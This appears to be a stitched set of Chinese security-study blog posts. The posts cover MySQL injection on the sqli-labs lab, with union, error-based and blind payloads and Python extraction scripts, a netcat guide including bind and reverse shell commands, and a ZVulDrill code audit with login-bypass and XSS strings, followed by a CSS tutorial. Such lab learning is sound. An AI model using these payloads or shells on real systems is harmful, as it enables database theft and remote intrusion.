Mysql注入详解

前言

最近一直在学sql注入的专题,准备写个文章来记录这段时间学的过程。

一.有可显字段——使用常规注入法

用到的注入语句:

1
2
3
4
5
6
7
8
and 1=1 --+
and 1=2 --+
order by 3 --+
union select 1,2,3 --+
union select 1,database(),version() --+
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
union select 1,username,password from users limit 0,1--+ or (union select 1,2,group_concat(concat_ws(':',username,password)) from users --+)

常规的sql注入,通常有可显字段,通过在可显字段进行注入,从而达到注入的方法。
以sqli-labs第一关为例
用运用常规的sql注入

加入单引号,发现报错,这里我们可以用报错注入的方式。

通过对语句的闭合,发现单引号是sql语句的闭合符号。

and 1=1 返回正常
and 1=2 返回异常

用order by语句进行数据库的猜解

order by 数字 是按照第几列升序排序
order by 数字 DESC 是按照第几列降序排序


我们用这条语句操作数据库,发现order by 4时报错,因为该数据库没有第四列,所以我们可以用order by语句进行对数据库列的猜解。
猜解到该数据库有三列。

猜解可显字段

先将id=1换成id=-1 或者运用其他方式让其报错,在运用union select联合查询语句
发现2,3字段是可显字段。

查看当前数据库名和用户名

运用database(),user()两个函数
常用的还要version() 来查看数据库版本

猜解表名

group_concat(xxx)这个函数通俗理解就是把xxx字段的数据聚合在一起返回。
例如:group_concat(table_name)意思是将table_name字段中的数据全部返回。
information_schema这个数据库保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
information_schema是在mysql5.0版本开始使用,像5.0之前的版本要是注入的话,只能像注入access数据库一样,进行猜解。
information.schema.tables记录了整个mysql所有的表名
table_schema指定数据库名

猜解字段名

爆破字段名和爆破表名一样,只需要更改几个参数即可。
爆出来字段名:username,password俩个字段

猜解字段内容

运用2,3可显字段 一块查询username,password字段内容
这里用到limit限定语句
limit 0,1 意思是查询字段中的第一个内容
limit 1,1 查询字段中第二个内容
limit 数字,数字 第一个数字指定查询的内容(从0开始),第二个数字指定返回的数量。
不用limit语句也可以,还有一种注入语句

1
union select 1,2,group_concat(concat_ws(':',username,password)) from users


用group_concat()聚合输出
使用函数CONCAT_WS()。使用语法为:CONCAT_WS(separator,str1,str2,…)CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)
所以用上面的语句直接爆出users字段的所以内容。

二.无可显字段,有错误提示——报错注入

启动了错误提示,并且出现在了浏览器中,即可运用报错注入

1.Floor语句报错注入

用到注入语句:

1
2
3
4
1' and (select 1 from(select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a)b)
1' and (select 1 from(select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a)b)
1' and (select 1 from(select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a)b)
1' and (select 1 from(select count(*),concat(0x3a,0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.tables group by a)b)

floor语句报错主要用到:floor(),concat(),count(),rand(),group by
(1).floor()函数:floor(x) 向下取整,取小于等于x的最大整数。
(2).concat(x,x1,x2):将x,x1,x2整合到一个字符串。
(3).count() 返回指定表的行数
(4).rand() 随机返回数字
(5).group by+列名 按照某列分组
先做个实验,使用创建好的一个user表

count(*)

用count(*),group by 联合使用,构建一个虚拟表

floor(rand(0)*2)
返回是伪随机,规律是:011011;

不给rand()参数时,返回不确定

使用:

1
select count(*),concat(floor(rand(0)*2),(select version()))a from user group by x;

报出错误:

运用上面的规律:以sqli-labs第一关为例
第一关,虽然有可显字段,但是同样开启了错误显示,所以也可以用报错注入
报错注入是不用猜解表中的字段有多少列的,所以我们直接用一开始给出的语句进行报错

爆当前的数据库名

爆表名

爆字段名

爆字段内容

floor语句报错下面的几条博客不错

1
2
3
4
5
6
7
https://blog.csdn.net/he_and/article/details/80455884

https://mp.weixin.qq.com/s?__biz=MzA5NDY0OTQ0Mw==&mid=403404979&idx=1&sn=27d10b6da357d72304086311cefd573e&scene=1&srcid=04131X3lQlrDMYOCntCqWf6n#wechat_redirect

https://www.cnblogs.com/litlife/p/8472323.html

https://blog.csdn.net/Fly_hps/article/details/79416620

2.extractvalue()函数报错注入

用到的注入语句:

1
2
3
4
1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) --+
1' and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e)) --+

extractvalue()用于对查询xml文档的函数
有两个参数,其中第二个参数是可操作的地方 第二个参数必须是 /xxx/xxx/xxx/…这种格式,要不就报错,所以基于这个特性,可以进行报错注入
以sqli-labs第五关为例:

开启了错误提示 可以使用报错注入
然后用上面的注入语句进行注入:



updatexml()函数报错注入

用到的注入语句:

1
2
3
4
1' and updatexml(0x7e,concat(0x7e,database(),0x7e),0x7e) --+
1' and updatexml(0x7e,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0x7e) --+
1' and updatexml(0x7e,concat(0x7e,(select column_name from information_schema.cloumns where table_name='users' limit 0,1),0x7e),0x7e) --+
1' and updatexml(0x7e,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),0x7e) --+

updatexml()函数与extractvalue()类似,是更新xml文档的函数。
updatexml()有三个参数,其中第二个参数可操作 ,是xml的路径 必须是/xx/xx这种格式的 ,所以和上一个类似,构造注入语句
以sqli-labs第五关为例:
用上面的注入语句
爆出数据版本

爆出表名

爆出字段名

爆出字段内容

extractvalue()和updatexml()报错注入参考文章:

https://blog.csdn.net/zpy1998zpy/article/details/80631036

报错注入的语句还有很多,但是主要还是上面三种,其他的语句和上面三种类似
其他报错注入文章:
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

三.无可显字段无错误提示,但出现数据提交正确和错误俩种不同页面

这类注入利用属于盲注中的布尔盲注,在无可显字段无错误提示,但数据提交正确和错误两种不同页面时使用。有时在不能使用union select语句时,也会使用这类盲注。
用的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

- Length()//返回字符串的长度
Length(abc)返回3,表示abc字符串长度为3

- Substr()//截取字符串
Stbstr(abc,1,1) 返回a,从abc的第一位开始截,步长为1。

- mid() //取出字符串的一部分值
mid(abc,1,1) 返回a,从abc的第一位开取,步长为1.与substr()用法一致

- left() //取出字符串左边的几个数据
left(abc,1) 返回a
left(abc,2) 返回ab

- right() //取出右边的几个数据
right(abc,1) 返回c
right(abc,2) 返回bc

- ord()与 ascii()//返回一个字符的ascii码值
ascii(s) 返回114

- hex() //返回16进制数

用到的注入语句:
1
2
3
4
length(database())>7
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100
ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>117
ascii(substr((select username from users limit 0,1),1,1))>6

不需要union select 即可完成注入工作

以sqli-labs第八章为例

python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
def database_len():
for i in range(9999):
url='''http://127.0.0.1/sqli/Less-8/'''
payload='''?id=1' and length(database())>%s''' %i
#print(url+payload+' --+ ')
r=requests.get(url+payload+' --+ ')
if 'You are in' in r.text:
print(i)
else:
print('database_length:',i)
break
database_len()
def database_name():
databasename=''
for i in range(1,9):
for j in '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz':
url='''http://127.0.0.1/sqli/Less-8/'''
payload='''?id=1' and substr(database(),%d,1) = '%s' ''' %(i,j)
#print(url+payload+' --+ ')
r=requests.get(url+payload+' --+ ')
if 'You are in' in r.text:
databasename += j
print(databasename)
break
print("database_name:",databasename.lower())
database_name()
def table_length():
for j in range(9999):
url='''http://127.0.0.1/sqli/Less-8/'''
payload='''?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>%s''' %j
r=requests.get(url+payload+' --+ ')
if 'You are in' in r.text:
print(j)
else:
print('firs table length:',j)
break
table_length()

我只写了猜测当前数据库的长度,数据库名,第一张表的长度。剩下的都一样这里不在给出!
1
2
3
布尔盲注参考:
https://blog.csdn.net/qq_41554179/article/details/88414079
https://blog.csdn.net/Wu000999/article/details/100041049

四.无可显字段无错误提示,正确错误没有明显区别

这类的sql注入类型,可以利用的方式是时间盲注。
时间盲注又叫延迟注入,通过时间长短来判断是否执行成功。
用到函数和布尔盲注差不多。
if(条件,1,2) 如果条件满足,则执行1,不满足就执行2
sleep(2) 延迟2秒钟
用到的语句就多了上面两条
注入语句:

1
2
3
4

if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>11),sleep(2),1) --+
if((ascii(substr((select column_name from information_schema.tables where table_name=‘users’ limit 0,1),1,1))>11),sleep(2),1) --+
if((ascii(substr((select username from users limit 0,1),1,1))>11),sleep(2),1) --+

根据上面的语句构造python脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import datetime
import time
def database_len():
for i in range(1,10):
url='''http://127.0.0.1/sqli/Less-9/'''
payload='''?id=1' and if(length(database())=%d,sleep(2),1)''' %i
#print(url+payload+' --+ ')
time1=datetime.datetime.now()
r=requests.get(url+payload+' --+ ')
time2=datetime.datetime.now()
l=(time2-time1).seconds
if l>=2:
print('database_len:',i)
break
#else:
# print(i)
# break
database_len()
def database_name():
name = ''
for j in range(1, 9):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
url = '''http://127.0.0.1/sqli/Less-9/'''
payload = '''?id=1' and if(substr(database(),%d,1)='%s',sleep(2),1)''' % (j,i)
time1 = datetime.datetime.now()
r = requests.get(url + payload + ' --+ ')
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 2:
name += i
print(name)
break
print('database_name:', name)
database_name()

这个脚本中猜解了数据库的长度和名称,其他的猜解和这个基本一致。

五.post注入

post注入其实就是注入位置的不同,其他的注入利用方式和前面的基本一致。
主要是用到Burp Suite 进行抓包
我们以sqli-labs第11关为例:
用的注入语句:

1
2
3
4
5
6
7
' and 1=1 %23
' order by 2 %23
' union select 1,2 %23
' union select database(),user() %23
' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() %23
' union select group_concat(column_name),2 from information_schema.columns where table_name='users' %23
' union select username,password from users limit 0,1%23

用burp抓包 发送到repeated模块

加个单引号爆出错误

判断字段数

判断可显字段

爆出数据库的表名

爆字段名

爆字段的内容

这里指举了一个很简单的例子,还有很多注入 其实post注入和get注入利用方式是一样的
只不过是注入位置的不同。

六.insert,delete,update注入

这些注入基本利用方式和上面的一样,只是注入位置的差别。
insert语句用于向数据库插入数据->一般用在用户注册中,
delete语句用于删除数据库的数据->比如删除留言板的数据
update语句用于更新数据库的数据->比如修改用户信息

1
2
3
4
5
6

insert into users(id,username,passowrd) values (2,''1'','Da4er);

UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值

DELETE FROM 表名称 WHERE 列名称 = 值

这类的注入不在给出例子 ,向这三个类型的注入更多的是配合报错提示进行注入
参考文章:
1
https://www.cnblogs.com/babers/articles/7252401.html

这个可以做一下sqli-labs第十七关的update注入

七.http头注入

http头注入本质还是注入位置的不同
在有些应用中http头的信息会回显到浏览器,这个时候可以尝试一下http头注入,注入利用的方式和get类型的一样
我们来以sqli-labs第18关注入user-agent头为例:
配合报错注入来进行注入:



八.数字型,字符型,搜索型注入

像这三类注入,是包含上面所有的注入利用方式的,这三类注入个大方面,意思是用户输入到服务器的参数是数字,字符串,还是搜索数据的。
所以这三类是整个sql注入大的方面,这里不在叙述。只对搜索型注入进行分析
搜索型注入主要用在搜索数据时,对搜索的参数过滤不全。
搜索型注入的构造和其他两类不太一样,一般的要加%,这是sql里的匹配查找
我们来看一下一个靶场搜索型注入的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if(isset($_GET['submit']) && $_GET['name']!=null){

//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];

//这里的变量是模糊匹配,需要考虑闭合
$query="select username,id,email from member where username like '%$name%'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
$html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
while($data=mysqli_fetch_assoc($result)){
$uname=$data['username'];
$id=$data['id'];
$email=$data['email'];
$html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
}
}else{

$html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
}
}

我们可以看到输入的name 被’%name%’包围,这就是搜索型注入的构造方式

构造的payload:
1
ko%' and updatexml(0x7e,concat(0x7e,version(),0x7e),0x7e) or '%

这里只爆出数据库版本,其他的就不在这里操作了,思路都是一样,利用报错注入。

九.宽字节注入

宽字节注入是一种特殊的注入方式,其利用的思路和前面写的一样,只不过宽字节注入能绕过将单引号等特殊字符转义。
原因是:网站用了utf-8编码,而数据库使用了GBK编码
宽字节(两字节)带来的安全问题主要是吃ASCII字符(一字节)的现象,使用一些特殊字符来”吃掉“经过转义符 “ \ ” 。
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节
mysql中用的转义函数:addslashes、mysql_real_escape_string、mysql_escape_string以及后面在高版本被去除的magic_quote_gpc
以sqli第三十三关为例:



发现可以运用宽字节注入,绕过防御措施。
宽字节注入现在很少见了。
这里只给出了爆当前数据库名的语句,其他的注入语句和上面写的报错注入一样。宽字节注入说白了就是绕过sql防御的一种收到,因为比较经典才会单拿出来提一下。

十.Mysql注入的高级利用

这部分主要是如果我们的权限足够大,可以向网站写文件或读文件
主要用到俩个语句:into outfile 和 load_file()

1
1')) UNION SELECT 1,'<?php echo "Da4er"?>',3 into outfile 'D:\1.txt' --+

into outfile是向本地写文件的操作
load_file()是读本地文件的操作

最后

明天还会在写一篇sqlmap的使用教程,然后这个学期学安全的时间到此结束了,安心准备期末了~

nc详解

一.简介

Nc全名为Netcat,网络工具中的瑞士军刀。
主要功能为:
1.侦听模式/传输模式
2.telnet/获取banner信息
3.传输文本信息
4.传输文件/目录
5.加密传输文件
6.远程控制/木马
7.加密所有流量
8.流媒体服务器
9.远程克隆硬盘

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-h 查看帮助信息
-d 后台模式
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-e prog程序重定向,一但连接就执行[危险]
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名(不使用DNS反向查询IP地址的域名)
-o film记录16进制的传输
-p[空格]端口 本地端口号
-s addr 本地源地址
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w 数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)

二.telnet/获取banner信息

-n 参数:只接收ip,没有dns解析
-v 参数:返回详细信息
我们先来解析一下要连接的ip地址:

用nc -nv 连接目标的80端口

三.传输文本信息

-l:设置为监听模式
-p:指定一个开放的端口
用-l -p参数将目标设置为服务器,并开放一个端口等待连接

我们可以用nc进行聊天:

四.传输文件或目录

Nc可以当作一个文件传输服务器,传输文件到目标机器。传输可分为正向传输和反向传输。
正向传输:

1
2
nc -lp 444<1.py
nc -nv 1.1.1.1 444 >2.py


反向传输:

1
2
nc -lp 444>1.py
nc -nv 1.1.1.1 444<1.py


五.Nc端口扫描

nc -nvz 开启端口扫描 默认扫描tcp端口
nc -nvzu 扫描udp端口

1
2
nc -nvz 1.1.1.1 1-65535
nc -nvzu 1.1.1.1 1-1024

六.远程控制

正向控制:

1
2
nc -lp port -c bash/cmd
nc -nv ip

意思是服务器开放一个端口,当客户端连接时直接获取shell,这样在客户端就能执行服务器的命令

反向控制:

1
2
nc -ip port
nc -nv ip -c bash/cmd

意思是服务器开放一个端口,当客户端连接时直接将自己的shell给服务器端,在服务器端执行客户端命令

好久没更新了,因为最近一直按专题学习常见的漏洞,也没啥好写的,最近在学习sql注入,等写完了再一块发出来吧~

代码审计初试-对zvuldrill漏洞靶场的代码审计(一)

一.zvuldrill靶场搭建

靶场地址:https://github.com/710leo/ZVulDrill
按照上面的要求需要创建一个名为zvuldrill的数据库,在将sys文件夹下的zvuldrill.sql导入到新建数据库中。

创建完成之后,在浏览器打开:http://127.0.0.1/ZVulDrill/ 即可访问

二.后台登录功能万能密码绕过

采用正向审计的方法,即先找到用户的可控输入位置,在定位到危险函数。
首先用rips代码审计工具进行scan,找到用户可控输入


找到用户可控输入$_POST[pass],发现它存在于logCheck.php中,用seay代码审计工具打开

所以我们可以直接构造万能密码

1
2
3
' or 1 or '1
' or 1 #
' or 1 --

直接不用输入密码就可以绕过检测机制
我们来验证一下
用Navicat数据库工具打开本地的数据库

将logCheck.php中的改造一下
1
SELECT * FROM admin WHERE admin_name = 'admin' or '1'AND admin_pass = SHA('$pass')

复制到数据库命令行中

登录网站:http://127.0.0.1/ZVulDrill/admin/login.php


根据seay自带的mysql检测工具可以看到,我们进行的数据库操作

三.前台搜索功能sql注入

继续看rips扫描的结果,发现有个$_GET[search]参数用户可控

用seay审计工具打开

发现用户传入的search参数,没有进行任何过滤就直接加入了sql语句中,这容易造成搜索型sql注入。
验证,打开数据库命令行,先查看数据库有几列

用order by语句,发现为5时会报错,4时显示正常,所以这个数据库的列是4。
所以我们打开admin的数据表,查看对应的列名。
可以用union select联合查询语句构造payload,直接爆出管理员的密码。

1
SELECT * FROM comment WHERE comment_text LIKE '%%' union select admin_id,admin_name,admin_pass,4 from admin;


用过构造sql注入语句
1
1%' union select 1,2,admin_pass,4 from admin#

在网页中尝试 发现可以爆出管理员的密码

在这个搜索页面中不光有sql注入漏洞,xss也同样存在,因为这个页面对用户输入的没有进行过滤。
构造xss payload:

1
<script>alert(/xss/)</script>

完成弹框

CSS基本学习(一)

比赛打完了,开始学习学校的课程了,以此记录学习.

一.CSS基本语法

选择器{属性1:属性值1;属性2:属性值2;….}
每条CSS包括两部分组成:选择器和一条或多条属性声明。每条属性声明由一个属性和一个值组成。
属性和值之间用冒号,多条属性之间用分号。将多条属性放到一个花括号中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css"> /*使用内联css*/
p{
text-align: center;
color: blue;
font-family: "Comic Sans MS",arial,黑体;
}
</style>
</head>
<body>
<p>使用css定义网页段落水平对齐方式,文体颜色和字体</p>
</body>
</html>


注意:在定义css属性值时,如果时多个单词组成要加引号,单个单词不需要加引号.

二.CSS基本选择器

CSS选择器包括俩种基本选择器和复合选择器,基本选择器主要包括元素选择器,类选择器,id选择器,伪类选择器,伪元素选择器;复合选择器是通过基本选择器进行组合构成的。

1.元素选择器

基本语法:html元素名{属性1:属性值1;属性2:属性值2;…..}
元素选择器对指定的html元素全部显示效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css"> /*使用内联css*/
p{
text-align: center;
color: blue;
font-family: "Comic Sans MS",arial,黑体;
}
h1{
text-align: center;
color: red;
}
h2{
text-align: center;
color: green;
}
</style>
</head>
<body>
<p>使用css定义网页段落水平对齐方式,文体颜色和字体</p>
<h1>css对h1定义颜色</h1>
<h2>css对h2定义颜色</h2>
</body>
</html>

2.类选择器

元素选择器是对页面中的所有相同元素的统一格式,但如果需要对相同元素的某一个元素做特殊效果,我们就需要类选择器或者id选择器。
基本语法:.类选择器{属性1:属性值1;属性2:属性值2;}
语法说明:类选择器第一个字符不能使用数字,类选择器名前的”.”是类选择器的标识,不能省略,类选择器区分大小写。
应用类选择器样式的元素中添加”class”属性,且将其值设置为类选择器名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css">
/*使用内联css*/
.txt1{
color: blue;
font-size: 26px;
font-style: 黑体;
}
.txt2{
color: red;
font-style: italic;
font-size:30px;
}
</style>
</head>
<body>
<p class="txt1">使用txt1类选择器显示效果</p>
<p class="txt2">使用txt2类选择器显示效果</p>
</body>
</html>


需要注意的是类选择器的优先级高于元素选择器,所有对一个元素即使用元素选择器,又使用类选择器,最后显示的效果是类选择器定义的效果。

3.ID选择器

ID选择器和类选择器一样,都是对页面相同元素特定的一个元素进行特殊效果处理。
基本语法:#ID选择器名{属性1:属性值1;属性2:属性值2;…..}
在应用ID选择器时,在元素添加id属性,属性值为id选择器名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css">
/*使用内联css*/
#txt1{
color: blue;
font-size: 26px;
font-style: 黑体;
}
#txt2{
color: red;
font-style: italic;
font-size:30px;
}
</style>
</head>
<body>
<p id="txt1">使用txt1类选择器显示效果</p>
<p id="txt2">使用txt2类选择器显示效果</p>
</body>
</html>


id选择器优先级同样优先元素选择器

4.通用选择器

通用选择器用通配符”“ 表示,它可以选择文档中所有元素。主要用于重置文档元素默认样式,一般用来重置文档元素的内外边距。
基本语法:
{属性1:属性值1;属性2:属性值2;}

1
2
3
*{margin:0px;
padding:0px;
}

5.伪类选择器

CSS伪类用于向某些选择器添加特殊效果,伪类一开始用来表示一些元素的动态效果,典型的就是链接的各个状态。
基本语法:选择器名:伪类{属性1:属性值1;属性2:属性值2;…..}
语法说明:选择器可以是任意类型的选择器,当选择器是类选择器时,可以在类选择器名前加上元素名,即将选择器名写成:元素名.类选择器名,比如:a.second:link
伪类类型:
:active //将样式添加到被激活的元素
:hover //当鼠标悬浮在元素上方时,向元素添加样式
:link //将样式添加到未被访问过的链接
:visited //将样式添加到已被访问过的链接
:first-child //将样式添加到元素的第一个子元素
:lang //向带有指定lang属性的元素添加样式

(1).对链接定义显示效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css">
/*使用内联css*/
a:link{
color: blue;
}
a:visited{
color: red;
}
a:hover{
color: green;
}
a.second:link{
color: #00f;
font-size: 26px;
}
a.second:visited{
color: #f00;
font-size: 26px;
}
a.second:hover{
color:#0f0;
font-size: 26px;
}
</style>
</head>
<body>
<a href="https://www.baidu.com">超链接1</a>
<a href="https://da4er.top" class="second">超链接2</a>
</body>
</html>

(2).元素选择器使用伪类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css">
/*使用内联css*/
input:focus{
background-color: yellow;
}
</style>
</head>
<body>
<form action="#" method="post">
用户名:<input type="text" name="username" /><br />
密码:<input type="password" name="psw" /><br />
<input type="submit" value="1" />
</form>
</body>
</html>

(3).使用伪类设置元素的第一个子元素的样式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css">
/*使用内联css*/
p:first-child{
font-size: 33px;
}
li:first-child{
color: red;
}
</style>
</head>
<body>
<p>段落1,其顶层元素是boby</p>
<p>段落2,其顶层元素是boby</p>
<div>
<p>段落1,其顶层元素是div</p>
<p>段落2,其顶层元素是div</p>
</div>
<ol>
<li>有序列表项1,其顶层元素是ol</li>
<li>有序列表项2,其顶层元素是ol</li>
</ol>
</body>
</html>

(4).伪类设置带有lang属性的元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css">
/*使用内联css*/
q:lang(no){
font-size: 33px;
}
</style>
</head>
<body>
<p><q lang='no'>11111</q></p>
<p><q>11111</q></p>
</body>
</html>

6.伪元素选择器

CSS伪元素用于将特殊的效果添加到某些选择器。
基本语法:选择器名:伪元素{属性1:属性值1;属性2:属性值2;….}
语法说明:和伪类选择器一样,为了限定某类元素,也可以在类选择器名前加上元素名。所以选择器名写成:元素名.类选择器名。在CSS3中,为了区分两者,规定伪类用一个冒号来表示,伪元素用两个冒号表示。
伪元素类型:
:first-letter //向文本的第一个字符添加特殊样式
:firs-line //向文件的首行添加特殊样式
:before //在元素之前添加内容
:after //在元素之后添加内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css">
/*使用内联css*/
p:first-line{
font-size: 26px;
font-style: italic;
text-decoration: underline;
}
p:first-letter{
font-size: 50px;
}
p:before{
content: url(1.jpg);
}
p:after{
content: url(1.jpg);
}
</style>
</head>
<body>
<p>https://da4er.top<br>
https://da4er.top<br>
</p>
</body>
</html>

三.CSS复合选择器

复合选择器是通过基本选择器进行组合构成的,常用的复合选择器有:交集选择器,并集选择器,属性选择器,后代选择器,子元素选择器和相邻元素选择器等。

1.交集选择器

交集选择器由俩个选择器构成,第一个选择器必须是元素选择器,第二个选择器是类选择器或者id选择器。
交集选择器的作用范围将选中同时满足前后俩个选择器定义的元素,也就是要求前者定义的元素,同时必须是指定了后者的类别或者id。该元素的样式是:第一个选择器,第二个选择器,交集选择器层叠的效果。
基本语法:元素选择器.类选择器|#ID选择器{属性1:属性值1;属性2:属性值2;….}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css">
/*使用内联css*/
div{
border-style: solid;
border-width: 10px;
border-color: blue;
margin: 20px;
}
.al{
font-style: italic;
background: #33ffcc;
}
div.al{
border-color: red;
background: #999999;
}
</style>
</head>
<body>
<div>元素选择器的效果</div>
<div class=".al">交集选择器的效果</div>
<p class=".al">类选择器的效果</p>
</body>
</html>

2.并集选择器

并集选择器又叫分组选择器,对不同选择器进行同种效果的展示,极大地减少了css代码量
基本语法:选择器1,选择器2,选择器3,…..{属性1:属性值1;属性2,属性值2;…..}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css">
/*使用内联css*/
div{
border-style: solid;
border-width: 10px;
border-color: blue;
}
h1,h2,div{
background: #999999;
}
</style>
</head>
<body>
<h1>Da4er</h1><br>
<h2>Da4er</h2><br>
<div>Da4er</div>
</body>
</html>

3.属性选择器

根据元素的属性及属性值来选择元素,此时用到的选择器称为属性选择器。
基本语法:[属性选择器1][属性选择器2]{属性1:属性值1;属性2:属性值2;…..}
元素选择器[属性选择器1][属性选择器2]{属性1:属性值1;属性2:属性值2;…..}
属性选择器格式:
1.[属性] 用于选取带有指定属性的元素
2.[属性=值] 用于选取带有指定属性和值的元素
3.[属性|=值] 用于选取属性值以指定开头的元素,注意该值必须是一个完整的单词或带有”-“作为连接符连接后续内容的字符串。
4.[属性^=值] 用于选取属性值以指定值开头的元素
5.[属性$=值] 用于选取属性值以指定值结尾的元素
6.[属性*=值] 用于选取属性值中包含指定值的元素
7.[属性~=值] 用于选取属性值中包含指定值的元素,注意该值必须是一个完整的单词

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
<style type="text/css">
/*使用内联css*/
[title]{
color: red;
}
img[alt]{
border:30px #ff0000 solid;
}
p[align="center"]{
color: blue;
font-weight: bolder;
}
a[title][href]{
color: green;

}
</style>
</head>
<body>
<p title="1">Da4er</p><br>
<p align="center">Da4er</p><br>
<img src="1.jpg" alt="dog"><br>
<a href="https://da4er.top" title="blogs">blogs</a>
</body>
</html>

4.后代选择器

又称包含选择器,用于选择指定元素的所有后代元素。
基本语法:选择器1 选择器2 选择器3….{属性1:属性值1;属性2:属性值2;….}
后代选择器按从右到左的顺序读选择器的方式,例如 div h1 表示h1作为div的后代,也可以表示为
div后代元素的任意h2元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>使用CSS布局网页段落样式</title>
